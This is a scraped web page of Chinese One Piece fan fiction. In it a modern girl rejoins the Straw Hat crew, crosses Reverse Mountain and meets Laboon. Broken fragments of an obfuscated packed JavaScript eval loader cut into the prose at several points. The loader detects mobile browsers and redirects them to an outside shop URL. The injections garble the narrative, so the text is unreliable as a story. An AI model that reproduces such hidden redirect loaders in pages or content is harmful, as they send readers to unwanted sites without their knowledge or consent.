l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978158|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有有忏悔了一下自己的堕落,草草给自己做了一顿不知是早饭还是午饭的早午饭,百无聊赖地就着锅吃了起来。 分离带来的阵痛似乎具有延后性。 而这也并不是有有第一次察觉到这件事。 房间里空了的零食、陪伴了整个高三下学期的颈枕、还有许多没拆封的中性笔都消失不见,这些确确实实消失了的东西都在佐证着这一切并不是梦,她是真的,遇见了他们。 但是…… 明明拍在手机里的照片却在迈出房间的那一刻变成了白屏,聊天框里无法传达的消息和网上搜索出来丝毫未变的动漫情节却又在诉说着,这不过是你一个人的狂欢。 “真过分啊,这该死的人工智障房间。” 有有瘫坐在地毯上,有一搭没一搭地看着手机里拍摄的照片和视频。 熟悉的背景音在狭小的房间循环播放,水滴落下的声音没入点点浪花中,有有随手抹去屏幕上的水珠,像是再说服自己,又像是在说给其他人听:“一定、一定能再见面的对吧。” —— “「啊~也不知道有有小姐有没有好好吃饭。」”山治有气无力地将菜端上饭桌,眼神时不时飘到门出现的位置,“「我还有好多菜拿手菜没有做给有有小姐吃过呢。」” “「一定会的啦。」”路飞眼疾手快地塞了块肉进自己的嘴里,想起女孩之前和阿碧丝一起做的那顿饭,“「有有做饭也很好吃啊!」” “「但是有有小姐看上去不会是好好吃饭的类型。」”山治愁眉苦脸地点烟,“「每餐吃的都不多,最后还都吐了。」” “「她太瘦了。」”索隆从盘子中抬起头,想了想被捏青的手腕,“「也有点弱……」” 但似乎又想到了什么,改口道:“「没什么肌肉,下次碰到人妖果实的话,不一定能像昨天那样赢。」” “「那等有有下次来的时候,山治多做点肉吧。」”路飞嘴里包着肉,有些口齿不清,但心里的小打算是个人都能看清楚。 乌索普无语:“「我看你有打算抢有有的份吧。」” “「嘿嘿。」” 如此奇妙的相遇真的还会再出现吗?世界与世界之间的连接真的如此简单吗?谁都不知道。 但是他们就是这样坚信着,一定会再相遇的。 眼看着几人聊天的内容已经变成了什么肉最好吃,娜美无奈地开口打断:“「路飞。」” “「什么事?」” “「看海图的方向来说,我们马上就能到达伟大航路的入口了。」” 饭桌上的嬉笑声逐渐变小,娜美垂下眼帘:“「如果顺利的话,明天我们就能到了。」” “「如果真的就如海图上画得那样,伟大航路的入口是在山上。」” 路飞:“「真的假的,好有趣诶!」” 索隆撑着脑袋:“「船爬山也太扯了吧。」” 娜美没有理会,只是自顾自的说着:“「一旦进入了那里,就说明我们迈入了伟大航路,几乎可以说是我们新的冒险的开始了。」” “「我们就这样,直接进去吗?」” 我们就这样,不等有有,直接进去吗? 13. 再见面 路飞对伟大航路的向往人尽皆知,梅利号也一如船长所愿,每一次出航是为了伟大航路。 娜美知道自己现在的想法很奇怪,有有也不过是一个刚认识没两天的女孩。 “「画图!」”熟悉的声音回荡在耳边,娜美垂着头。 不过是虚无缥缈的仪式感作祟,不过是想着跨越颠倒山这种历史性的时刻,如果那孩子也能在身边就好了。 咽下最后一口肉,路飞趴在桌子上,目光清澈:“「我们的肉还剩下多少来着?」” “「如果你不偷吃的话,那就还能撑一个星期,刚刚在军舰岛补的货。」”山治夹着烟,目光瞥了一眼路飞,显然是被路飞偷吃的行径整出了阴影。 这人说着一天吃五顿饭,但是实际上经常自己偷偷加餐,这也是为什么他一直想要一个带锁的冰箱,毕竟捕兽夹对路飞简直不痛不痒。 “「嘿嘿。」”路飞糊弄一笑,“「没事啦没事啦。」” “「我好想快点到伟大航路。」”路飞伸了个大大的懒腰。 娜美低头:“「我知道了,我会……」” “「但是啊,有有不是伙伴嘛,那就稍微等一等她啦。」”路飞说得理直气壮,“「坐着船爬山诶,那家伙绝对会再吐的吧!」” 娜美:“……”有有我对不起你,我这就把船开过颠倒山。 索隆:“「你到底是想等她还是想看她吐啊……」” 路飞:“「不重要不重要。」” 山治:“「我绝对会保护好有有小姐的~」” 眼看着几人似乎就这样达成了共识,乌索普感到有些微妙:“「我说你们,就这样自说自话吗?」” “「嗯?」”路飞的大眼睛充满无辜,似乎颇有些不理解乌索普的话。 “「先不说别的,有有是同伴这件事,你有和人家说清楚吗?」” 路飞震惊:“「诶!?要说吗?」” “「难道不用吗?!」” “「但是她已经在我们的船上了啊!而且她还给我们做饭,还给我们礼物、还和我们一起帮阿碧丝……」”路飞掰着手指头数道,“「这不明摆着是我们一伙的吗!」” “「不……话虽如此,但是……」”乌索普有些头大,似乎很有道理,但是似乎又有哪里不对劲,“「起码得邀请人上船……」”这人好像一开始就在船上…… “「而且有有第一次见面就说喜欢我们了,这不早就是我们的伙伴了嘛!」” 虽然早就知道这人找伙伴的标准全凭心意,但是这么天然还是有些令人头大啊。 乌索普叹了口气:“「行吧,我没意见。」” 索隆笑得轻松:“「昨天在海军面前大闹那么一通,说不准世界政府早就把有有归入草帽一伙了。毕竟有有把那个人妖踹进海里那一幕还是很不错的。」” “「啊~踹人的有有小姐也好可爱的~」”山治扭动着身子一脸花痴。 “「是吧是吧,而且有有给我的水枪可太好玩了!」” 娜美:…… 让有有加入这个不着调的队伍,真的是正确的选择吗…… “「就这么决定了!慢慢往伟大航路的方向开,只要在食物消耗完之前到达颠倒山就可以了!一边开一边等着有有吧!」”路飞笑着一锤定音。 —— “有有,要出来玩不?”电话那头的女孩子声音活跃,可有有却提不起太大的兴致。 “可我懒得出门诶。”有有坐在地毯上,小桌子上的平板放着循环播放着《海贼王》千年龙的篇章。 听到熟悉的op,朋友好奇:“你又在刷《海贼》啊?” “对啊,我在戒断。”有有长叹一口气,言语沧桑。 “……你正常点。” “正常不了一点!!”有有火速爬起,“你知不知道路飞到底有多可爱!娜美到底有多靠谱!山治的饭到底有多好吃!索隆……” “我知道我知道!”朋友火速打断,“你这个草帽激推人可住嘴吧!怎么着高考那么长时间没看动漫让你病情还加重了呢。” “……我没病,我只是在戒断。”有有倔强道。 “我懂我懂。”朋友声音慈爱,一听就没相信有有的话。 “哼。”有有冷笑一声,“克洛克达尔是个女生。” 听筒里传来尖锐的爆鸣:“啊啊啊,你给我住嘴!老沙只是一个普普通通的男妈妈!” ……男妈妈和普普通通是能联系到一起的吗?有有浅翻了个白眼。 “我说伍琪同学,能不能改改你只看身材的毛病,我们家路飞多可爱啊!索隆身材也很好啊!” 有有不自觉想到了剑客在甲板上锻炼的场景,赤裸的上身、精壮的肌肉以及穿上白上衣之后被勾勒出来的线条。 千言万语汇成一句话:“你好没品哦。” “啊,我对小男孩没兴趣。”伍琪发出暴言,“不过如果他能像艾斯那样一直不穿上衣的话,我会一直看他的。” “……” 没错,伍琪同学就是这么个取向神奇的人。不赞同老沙是女生的野史,却偏偏愿意嬤一下,以及所有身材好的人都难逃此人之手。比如《宿傩回战》的甚尔和娜娜米、比如《猎人》里的西索、团长。 无法理解,完全无法理解。 “行了,别再在抱着你破平板过日子了,赶紧出门,带你逛街,不然你家冰箱都要空了吧。”伍琪想起自己的目的,扔出地址之后利落的挂断电话,不给人一丝一毫的拒绝空间。 面对着“嘟嘟嘟”的忙音,有有认命地起身。 —— 伍琪:“……” 有有:“……” 商场的门口,两位刚刚高考结束的小女孩相对无言。 七月份的阳光实在是太毒辣了一些,只不过是站了一会儿,两人就都有些流汗了。 但伍琪还是没忍住,站在门口痛心疾首道:“你和我出门就穿成这样?!” 有有低头看了一眼自己的穿搭,粉色的短T,白色的短裤,外加一双洞洞鞋,简单又舒服。 这多好啊! 有有愤愤不平地看向伍琪,霎时间语塞。 伍琪本就身材高挑,没了高中生的身份更是把肆意穿搭,学校时期不能穿的吊带也再没了顾忌,甚至平时偷偷摸摸才敢化的妆都正大光明地摆了出来。 整个人美得吓了有有一大跳。 “嘿嘿。”有有无辜一笑。 “还是我不配。”伍琪叹了口气,语气幽幽,“如果和你一起出门的是草帽团或者艾斯,你肯定会盛装打扮的。” “……”不,说来你也不信,我看见他们的时候都穿的睡衣的,还有那双你觉得不该出现在这个世界上的恐龙拖鞋。 “我真服了你,有钱也不花,衣服也不买,哪天穿烂了都不知道,天天就抱着个平板看动漫。房间里除了周边还是周边。”伍琪恨铁不成钢地将人拉进商场,“我求求买点东西吧。” “我买还不行嘛……” 有有的物欲一直不高,甚至说得上几乎没有,所有的东西都是能用就行,也没有什么赶紧买的想法。 用伍琪的话来说,就是完全浪费了这“得天独厚”的条件。 有有的家庭状况很简单,出轨的爸、再婚的妈和留守的她。自小和爷爷奶奶一起长大,在高一的时候,老人家相继去世,只留下有有一个人。 而老人家似乎预料到自己走后有有无人照料的情况,在晚年的时候就把这间老房子过户给了有有,虽然不大,但也是一份依靠。并且还提前买好了保险,再加上之前攒下来的钱,确保有有大学的学费和之后每个月都有一笔生活费。 所以从某种意义上来说,有有早早就过上了按月拿钱的生活。抛去事情发展的前提而言,这样的生活无疑是被正常高中生羡慕的,因为可以不必守着那一点点零花钱过日子。 但是按照伍琪的话来说,她有点钱就全吃掉了。比起买衣服买东西,有有更喜欢买吃的买谷子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978159|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吃谷子怎么不算吃呢:) 甚至疫情的时候,有有没烂在家里都靠伍琪和她的父母时不时提点这人囤点物资。 “我想买双轻便一点的跑鞋诶。”有有捧着奶茶亦步亦趋地跟在伍琪身后,路过一个运动品牌突然道。 “你不是打死都不跑步吗?”伍琪瞥了一眼女孩,“高中三年体育课你跑过几千米?” “……”哎,说了你也不信,我现在都能无安全带直接做过山车了。 有有沧桑地吸了一口珍珠。 “……买买买,买还不成吗?这个牌子溢价太严重了,换一个。”看不得有有这幅怪样子,伍琪没好气地拉着有有往边上走。 “先去超市买点必要物资,不然你又瘫在家不出门。”伍琪拉着人直奔商场负一楼,“要不是政策还没有完全放开,高低拉着你去西藏玩一圈。” 哎,又没办法和你说我刚结束一场为期两天的异世界之旅。 “……你再那副欲言又止、说了你也不懂的鬼样子,我就买一堆香菜塞到你的冰箱。” “……咦,你好过分哦。” 一次出门仿佛打开了新世界的大门,有有站在超市的中央,只觉得想把整个超市搬回家。 这个零食给路飞吃吧,这个酒不然给索隆试试呢?这个锅看着不错的样子,山治缺不缺锅啊?工具箱工具箱……给乌索普带个工具箱?好想给娜美买漂亮衣服呀…… 他们在船上蔬菜容易摄取不足吧?不然再买点蔬菜?水果也来点。 “……你终于疯了吗?”伍琪看着购物车一堆乱七八糟的东西,脸色一言难尽。 有有:“……好像,是有点?” 明明也不知道会不会再见面不是吗?但是但凡看见能让他们开心点的事物,就忍不住都买一点。 “我感觉我好像有点点恋爱脑。”有有一脸严肃。 “那倒也不是,你就纯纯脑子不好。”伍琪任劳任怨地推着购物车,“要是真的特别想要你就买吧,到时候坏了也省的再出来,酒只能在家喝,别再外面喝……” 有有轻而易举地被伍琪惹怒了,反抗道:“你好像老妈子哦。” “那你这些东西都放回去吧,你妈我不想给你搬了。” 有有一怒之下怒了一下,乖巧地跟在了老妈子后面。 看到什么东西都想买的症状没有消失,第一天的有有泡在了超市,第二天的有有泡在了橙色软件,第三天的有有泡在了并夕夕,第四、五天的有有像只老黄牛哼哧哼哧来回在驿站和家。 快递越来越多,像是还抱着什么期望,不少的东西都被搬到了房间,原本温馨的房间逐渐变得诡异了起来,放在床底下的锅、工具箱,各种各样的零食、买了之后就没拆过的运动鞋、甚至还有几套搭配好的工装服。 可这五天风平浪静。 越堆越多的东西像是想要压弯骆驼的稻草,不断向上堆叠,越积越重。每天打开时依旧原模原样的客厅不断刺激着女孩的神经。 或许这一切真的只是场梦。五天足够把一切希望摧毁,也足够让人认清现实。 第六天。 有有茫然睁开眼睛,摆在一旁的手机闹铃还没有响,但每天比闹铃早起似乎已经成了日课。 醒了便无法入睡,有有光着脚避开地面的一片狼藉。 “等会看看哪些能无理由退货吧,也不能就这么摆着。”有有随手扒拉开门边的箱子,艰难地从门缝中穿行。 最先反应过来的脚下的触感。 不再是冰冷冷的陶瓷砖,反而带着点温润的木制纹理,是不会在家出现的木地板。 有有缓缓抬眸,怔怔地看着眼前的一幕。 红色马甲的男孩趴在餐桌上撒着娇,橙色短发的女孩手上拿着报纸,金发厨师站在灶台前熟练的颠锅,绿发剑士细心地保养着自己的剑,长鼻子狙击手似乎有些坐立难安,面前还摆了一个木制的小人。 “「早上好!」”船长朝着女孩笑道,“「一起吃饭吗?」” 14. 跨越颠倒山 “「吃……」”有有条件反射道。 等会,吃什么吃!怎么就吃上了,这是吃饭的时候吗! “「等会儿,你们……」”你们对于我突然出现又突然消失,再突然出现就没什么想问的吗? “「有有小姐~鸡蛋是要溏心蛋还是全熟的~」”山治举着鸡蛋献宝似的道。 “「全熟的。」”不需要思考时间,有有立马道。 “「有有你说话变流利了嘛。」”娜美合上报纸,双手撑在桌上眼波流转。 糟糕!被美到了! 有有捂着胸口做西子捧心状。心里说不清道不明的紧张也被抚平,有有献宝似的开口道:“「我有练习哦。」” 这五天里,除了每天逛逛买东西的APP,剩下空余的时间基本上都被有有拿来练日语了,方式不仅限于上网课,谁说追番不是锻炼口语呢。 “「快去穿鞋子去。」”娜美笑着催促道,“「然后来吃早饭。」” “「嗯!」” —— “「哈哈哈哈哈!你这家伙,该不会又买了一双青蛙吧!」”路飞指着有有脚上熟悉不过的拖鞋,笑得弯下了腰。 “「是恐龙!」”有有本不愿陷入这无谓的争执中,但是奈何路飞笑得太欠揍,有有还是没忍住反驳道。 “「你这家伙到底有多喜欢这只河马啊。」”索隆放下手中的刀一脸感慨。 “「穿着绿色青蛙的有有小姐也很可爱~」” “「是恐龙……」”无人在乎有有的控诉,娜美笑着拉着有有坐下,“「别管他们,都是一群白痴而已。」” 即使这几天也没有放弃学习日语,但是语言的学习向来不是一蹴而就的,有有老老实实把下载好翻译包的手机摆在了桌上。 “「你们怎么像是早就知道我要回来一样啊?」”有有问出了从刚见面就一直好奇的问题,实在是这群人坐在饭桌上打招呼的姿势太过自然了,自然到像是自己从来没有离开过,“「我走之后过去了几天啊?」” “「五天。」”娜美先回答了有有后一个问题,“「今天早上山治来厨房做早饭的时候发现门又出现了。」” “「本来路飞要进去的,结果被山治拦住了。」”像是想到了什么搞笑的画面,娜美笑得颇为幸灾乐祸。 啊,看来是武力拦截。 有有在心里翻译了一下娜美的话。 但是五天的话,那就证明两个世界的流速是一致的。不过从一直顺畅运转的手机时间也能猜出来。 “「你们、现在到哪了?」”能自己说出口的话有有也不想全靠翻译,毕竟这群人也不会嘲笑自己蹩脚的口音。 说到底,明明这副口音最好笑,但是就目前看来,还没脚上这双可爱的鞋子来得逗人。 “「马上就要到伟大航路了哦。」”娜美神秘一笑,语气里带着明显的雀跃。 居然还没到伟大航路吗?有有有些震惊,虽然这部分剧情有些遥远,但是多亏了这些天的重温,有有又想起了这称得上古早的剧情。 从剧情来看,千年龙和伟大航路大概是同一天,毕竟这两件事出现在同一集并且连路飞他们衣服也没换。也没有看见微微在船上。 “「不过早上看见的时候,我们就已经往伟大航路开了哦。」”路飞百忙之中探过头,嘴里手里都拿着饭,“「你要是再晚两天,我们的饭都不够了。」” 这群人是刻意地在等自己。 意识到这一点的有有内心涌上一股暖意。 “「谢谢你们,对了,我还给你们带了礼物……」”有有感动得直泛泪花,还没来得及说完,就听见路飞道:“「礼物?对了,乌索普有礼物给你!」” “?”有有惊讶地看向了乌索普,甚至以为自己的听力出现了问题,“「礼物?」” 从一开始就一言不发的乌索普面对突然袭来的目光无措了一瞬间,但是随即变挺起胸膛若无其事道:“「只是随手雕了一个小木雕而已,没有什么别的意思,你想要就给你了。」” “「才不是,是向你道歉的。」”索隆异常不给面子的拆台,“「这几天还以为你没办法来了,后悔没当天给你。」” 乌索普恼羞成怒:“「索隆!!」” 对乌索普的口不对心异常清楚,有有没在意他的嘴硬心软,目光心虚地扫过索隆的胸前,在心里忏悔了一秒自己的邪恶心思,随即爱不释手地把玩着乌索普推过来的小小的木雕。 这是一个穿着普通短T的小人,脚上还穿着那双娜美买的布鞋,现代和复古的混搭看着有些不伦不类,但却是有有那天穿的衣服。 刻着我的模样,不想给我难道还能给别人吗? 有有心里偷笑,却也没有再去刺激乌索普:“「谢谢!我很喜欢!」” 这能不喜欢么?这可是乌索普刻的手办啊!以前都是吃他们的谷,今天也是轮到吃自己的谷了,还是乌索普送的。 “「我会,珍藏的!」”比如摆到手办展示柜里供起来,四舍五入她也是草帽团的一员了。 丝毫不知道自己已经被认定成伙伴的有有还觉得自己占了大便宜,心里美滋滋的。 “「我也有礼物!」”有有重新尝试提起礼物,可今天这礼物似乎是送不出去了。 “「别聊了别聊了,我们赶紧去爬山啦!」”路飞扶着船舵已经有些压抑不住心中的期待。这些日子里,娜美已经完全推测出,想要去到伟大航路,就需要顺着海流爬上山,如此违背物理常识的行动早就勾得路飞心痒痒了。 山?什么山? 抱着木质手办美滋滋的有有耳朵捕捉到关键词,心里闪过一丝不妙的预感。 这大海上哪里来的山……? “「啊,差不多了。」”娜美看着已经有些难以拨动的船舵,说出的判断击碎了有有最后的希望,“「大概已经乘上海流了。」” 有有颤颤巍巍:“「哪座山?」” “「颠倒山啊。」”路飞说得理所当然,“「我们专门等你来再一起爬哟。」” 船外海水拍打的声音越来越大,有有的心也越来越凉,才重温过不久的画面重新出现在脑海,逆流而上的海流和山脉有多刺激暂且不提,毕竟激流勇进恐怖的从来不是爬坡的过程,而是向下俯冲,更何况…… 更何况下面还挡着个拉布! 山一样、傻傻地撞击着颠倒山的拉布。 这也就算了!还有一个傻兮兮一拳锤上拉布的路飞! 苍天啊、大地啊!这鲸鱼肚子我是不是必须得走一遭啊! 拉布肚子里遇见微微是主线剧情,想来再怎么干涉也无法避免。有有颇有些欲哭无泪。 “「怎么样?感动吗?」”索隆像是没发现女孩的异样,兴致勃勃地凑到边上,“「娜美提出来的,但是路飞能忍住才是奇迹,以往看见个小岛都要飞过去的人这次忍了五天。」” 有有扯出了一个比哭还难看的笑:“「感动。」”实在是太感动了,感动到我都不敢动了。 “「太谢谢你了娜美。」”有有抱着身旁的女孩几乎有些痛哭流涕,虽然不理解有有为什么会感动成这个样子,但是娜美还是不好意思地摸了摸有有的脑袋,难得腼腆道:“「不用谢。」” 雨丝逐渐飘进操舵室,路飞一个健步外加一个伸手,刺溜一下就攀上了桅杆,兴奋地大喊大叫。 “「快看!是不可思议山!」” 那我看还是您比较不可思议,该坚持的时候不坚持,你要是坚持一下不就能早就看见颠倒山了吗! 有有跟着几人出了门,站在门口看着颠倒山。丝毫不觉得自己的想法逐渐危险。 娜美能有什么错呢?娜美只是太关心我了啊。 不过那当然是说笑的,颠倒山也不是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978160|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激流勇进。没有物理手段,几百米的高度全凭海流逆行而上,伴随着乌云密布的大雨,压迫感几乎要和这山一样高。 一件雨衣被披到身上,山治走到有有身边,细心地站到了风雨来袭的方位,如果不看他眼睛里冒着的爱心,就真的又帅又绅士了:“「有有小姐~小心着凉~」” “「好哦。」”有有乖巧应声。 还没等山治犯花痴,娜美一把就推开了山治,朝着有有笑得异常灿烂:“「有有!」” “「怎么了?」”有有懵懵懂懂地看了过去。 “「让你见识一下吧。」”娜美俏皮眨眼,“「这艘船上的航海士!」” 诶? 不等有有反应,娜美朝着上方的路飞喊道:“「收帆!」”在风雨里,船帆铺开只会让船的航行更难掌握。 路飞和索隆利落地将帆收好,山治和乌索普则被娜美赶去掌握方向。 “「海流很急,不要刻意和水的力量做对抗,不然船舵会坏掉的!」”娜美朝着两人大声喊,“「航行距离还够,听我的指挥。」” “「先向右!」” 娜美穿着粉色的雨衣站在风雨中,不在乎扑得满脸的雨水,只是用那双棕色的眼睛不断捕捉着船、水、入口的位置。 “「回正!然后顺着你们感受到的阻力慢慢往左修!」” 一条条细致的指令脱口而出,航海士小姐用全身感受着流向。 然后, 梅利号准确无误地顺着那道向上的海流驶入了颠倒山。 在剧情中断裂的舵完好无损地存在在山治和乌索普手中,路飞也不必再变成橡胶气球修正方向。 这只是小小的改变。 但是。 “「太帅啦!」”有有抹了一把脸上的雨水,朝着娜美兴奋地大喊道,“「你太帅啦!」” “「那当然。」”娜美吐了吐舌头,比了个大拇指。 海流的流势足够猛烈,上山的速度也足快,攀升的高度即将越过云层。站在船头的几个人兴奋地看着前方,索隆和娜美好歹还扶着栏杆,路飞则是盘坐在梅利号的羊头上,甚至还有空闲的手去扶帽子,闲散坐在橘子树边的山治也不能用常理形容,乌索普好歹还抱着栏杆。 而有有牢牢地抓握着面前的栏杆,连步子都不敢迈一步。 下一次敢不敢等我换双鞋再搞这种极限运动! 有有脚趾紧扣着拖鞋,几乎在用双手双脚做安全带。 高反了!高反了! 有有脸色惨白。 可惨烈的往往还在后头。 梅利号攀升至最高点,没有铁链固定轨道的后果就是船并不会老老实实地顺着山脉而下,而是先随着惯性冲出去,然后再直直落下。 再一次体验到“空中悬浮”的有有诡异地有些想笑。 在空中也不忘盘腿的路飞转过头,刚想说什么,忽然捂着肚子笑了起来。 “「有有哈哈哈哈哈!」” 顺着路飞的视线看过去,其他几人也笑出了声。 绿色的恐龙拖鞋就这样被有有拎在了手上,女孩子的脸上满是打不过只好加入的无奈,只是生理性的泛白无法遮盖。 别管,这次我的拖鞋必不可能丢。不理会他们的笑声,有有牢牢地捏住了自己的拖鞋。 腾空也只是一小会儿,随后边降落在了梅利号上。 路飞:“哈————!” 娜美:“啊————!” 有有:“呜————!!” 俯冲间,小小的船上充满各种嚎叫,至于是兴奋的、还是害怕的,那就仁者见仁了。 “「等会儿!是不是有什么声音?」”突然弥散开的雾阻挡了所有人的视线,索隆却敏锐地听见了伙伴们之外的声音。 啊! 有有艰难地从失重感中回神。 是拉布。 15. 双子岬 就当几个人还以为只是索隆听错了时,有有默不作声地挪到了操舵室。 虽然碰见拉布无法改变,但是起码要把梅利号的羊头断了这件事扼杀在摇篮里面吧。毕竟,因为一些小小的蝴蝶效应,本该在爬升时就断掉的船舵此时也是完好无损的。 俯冲的速度很快,拉布那庞大的身影出现在视野里。 “「!怎么会有一座这么大的山?」” “「那不是山啊!那是巨大的黑色墙壁!」” 外面乱作一团,有有盯着船舵有些左右为难。 是打左满舵还是右满舵来着?这些小细节就算是重刷也不会记得啊! “「娜美!左还是右?」”有有扯着嗓子朝着甲板上的人吼道。 听到喊叫声的娜美一愣,随即很快反应过来,当机立断道:“「左满舵!」” “「索隆,你去帮有有,她大概是第一次用船舵。」” 没错,有有的确是第一次用船舵。毕竟在现代社会能用到舵的场合还是极其少的,能见到的也是圆形的舵,能触碰的场合更是只有在游乐园里的亲子小船上,还基本都只起到一个装饰的作用。 甚至因为刚刚成年,驾校也来不及报,连方向盘都没摸过。 “应该只要往左边拉满就行了吧?”有有喃喃自语,反正,再怎么样也比路飞朝着拉布开一炮再戳人家眼睛珠子要好吧? 有有试探着向左拉满舵,梅利号立马朝着左边行驶。 “哦~~”有有兴奋地感受着梅利号在自己的操作下行动,眼睛都冒出了光,丝毫没感受到情况的紧急。 索隆:“……”看出来是第一次操舵了,但是这么脱线真的好吗?完全没有紧迫感啊! 相比于巨大的拉布而言,梅利号连带着船上的人不过都是大海里的一滴水而已,在不打扰到它的前提下,几乎是很难被拉布发现的。把船舵交给一脸无语的索隆,有有蹦跶到了甲板上。 近距离看,拉布真的就像是一座山一样,几乎看不见眼睛的位置,从下往上看,也只能隐约看见一些撞击的伤痕。有有握紧了手心。 也幸亏拉布足够大,梅利号足够小巧,左边留出的缝隙足以让梅利号通过。眼看着似乎能安静的通过,娜美等人松了口气。 “「幸亏有有反应及时啊。」”娜美压低声音拍了拍有有的肩膀,生怕被这个庞然大物听见声音。 看着娜美脸上躲过一劫的神色,有有心虚地将目光瞥向了一边。 啊这,你谢早了。 娜美:“?” 还没等娜美来得及问,巨大的嗥叫声响起。 庞然大物缓缓敞开了嘴巴,巨大的气流反向推动着海水和梅利号往那深渊巨口中送去。 娜美:“!!!” “「它该不会是饿了吧!」”乌索普抱着桅杆眼泪都快彪出来了,“「我们只有一点点肉,你吃不饱的啊!」” 剧情自动修正着事件发生的原因,即使没有路飞添乱,拉布依旧会张开嘴把所有人吞到胃里。说实话,要不是不想让梅利号的羊头断掉,有有甚至有些想静观其变。毕竟所有人颜艺的样子真的很搞笑啊! 不拍白不拍。“战地记者”江有有如此想到。 “「救命啊!」” 耳边的惨叫声此起彼伏,有有颇为无奈地叹了口气。 小场面,都是小场面。 “「你这家伙一副意料之中的表情到底是个怎么回事啊!」”乌索普朝着一脸淡定的有有鬼哭狼嚎。 “「嘿嘿。」”有有抱着栏杆抽出了一只手比了个大拇指,“「旅行!」” ??到底有多心大才会把去鲸鱼肚子里叫做旅行啊?? 如果让有有知道,女孩肯定会不屑笑笑:这有什么,之后你们还会上天入地跑到蛇肚子里嘞。毕竟,如果不涉及挨打,那么看草帽团倒霉还是别有一番乐趣的:) 小小的蝴蝶效应暂时只能拯救梅利号的羊头,其他的事情就如被安排好的一样,有有目送着路飞和大部队脱离,缠绕着拉布的牙齿飞到了拉布的头顶,自己则和其他人在颠簸中来到了拉布的胃里。 胃里面“碧海蓝天”,真真称得上是别有洞天。 微妙的理解了克罗卡斯说这里时度假中心呢。有有默默退到所有人后方,打量着周围景色。 看着退的比自己还后面的女孩,乌索普只觉得心累。刚还说是来旅游的,结果现在就怕了?虽然心理吐槽,乌索普还是默默把最里面的位置让了出来。 有有的日语依旧没好到能听懂这群人的聊天,如果只有船上的人,娜美还会在一旁解释,其他人有时候也会把速度放慢,但是一旦对话中出现了他人,那就是有有几乎无法介入的谈话了。 索隆和山治站在最前方和克罗卡斯说着什么,动漫中反复出现的搞笑分镜居然真的会有音效,果然,搞笑就是重复啊! 有有心满意足地收回照相机,一脸满足地翻看着手里的照片。 没错,装备升级了。 疯狂购物期间,有有鬼使神差地淘了一个二手相机,说服自己的借口是记录生活,但是比起生活先记录下来的,是山治、索隆的颜艺。 下次换个拍立得吧。 骤然间翻山倒海,有有扶住了周边的栏杆。 有有知道,拉布又在撞击红土大陆了。 拉布的故事不知道让有有流了多少眼泪,甚至因为布鲁克和拉布,那首《宾克斯的美酒》有段时间都成了有有的单曲循环。 “噗通”一声,路飞连带着两个人影跌入了胃液。 有有眼睛一亮,从操舵室里钻出。 是微微呀! 淡蓝色长发的公主殿下此刻还是卧底,从胃液里捞出来颇有些狼狈,可有有还是眼睛亮晶晶地盯着女孩,奇怪程度和旁边犯花痴的山治有的一拼。 娜美:“……” 乌索普:“「……娜美,你记得让有有离山治远一点。」” “「……好。」” 注射完镇定剂的克罗卡斯朝着船上的两人说着些什么,此刻还是Miss.星期三的微微兢兢业业地做着任务,一脸凶恶地说着邪恶发言。 正要抄起炮弹射击的女孩忽然摸了个空,本该躺在甲板上的枪不知道为何落在了一位黑发少女的手中。 “「不行!」”Miss.星期三听到了这样一句话。 有有掂着怀里沉甸甸的炮弹,义正言辞地制止了微微的动作。但是Mr.9的炮弹实在来不及去拿了。不过也无所谓,谁在乎那人是不是会挨路飞的打呢。 开炮了的Mr.9没有逃过路飞的拳头,逃过一劫的Miss.星期三忍不住瞅了一眼还蹲在旁边的女孩,结果就对上了一双亮晶晶的大眼睛。 “……”怎么回事,这孩子搞不清现在的状况吗? 搞不清状况的不只是公主殿下,娜美一把拉过有有,几双眼睛预言又止地看着女孩:“「有有,你认识她吗?」” “「认识!」”有有举着炮弹欢快道,“「她是……」” 娜美第一次没有听完有有的话,出言打断,脸上满是担心:“「有有 ,不要去认识这样奇怪的人啊。」”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15978161|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “「诶?」”有有想要介绍的话卡在嗓子里不上不下,一脸呆滞地看着娜美。 “「你还小,这种奇奇怪怪的人会把你骗走卖掉的」”乌索普也一脸严肃,“「尤其你还这么弱,你还是老老实实待在我乌索普大人的背后吧!」” 首先,我不值钱,其次说起弱,咱俩半斤八两吧。有有一言难尽地看着乌索普,心里吐槽道,我的电击棒和辣椒水可都还在房间里摆着呢。 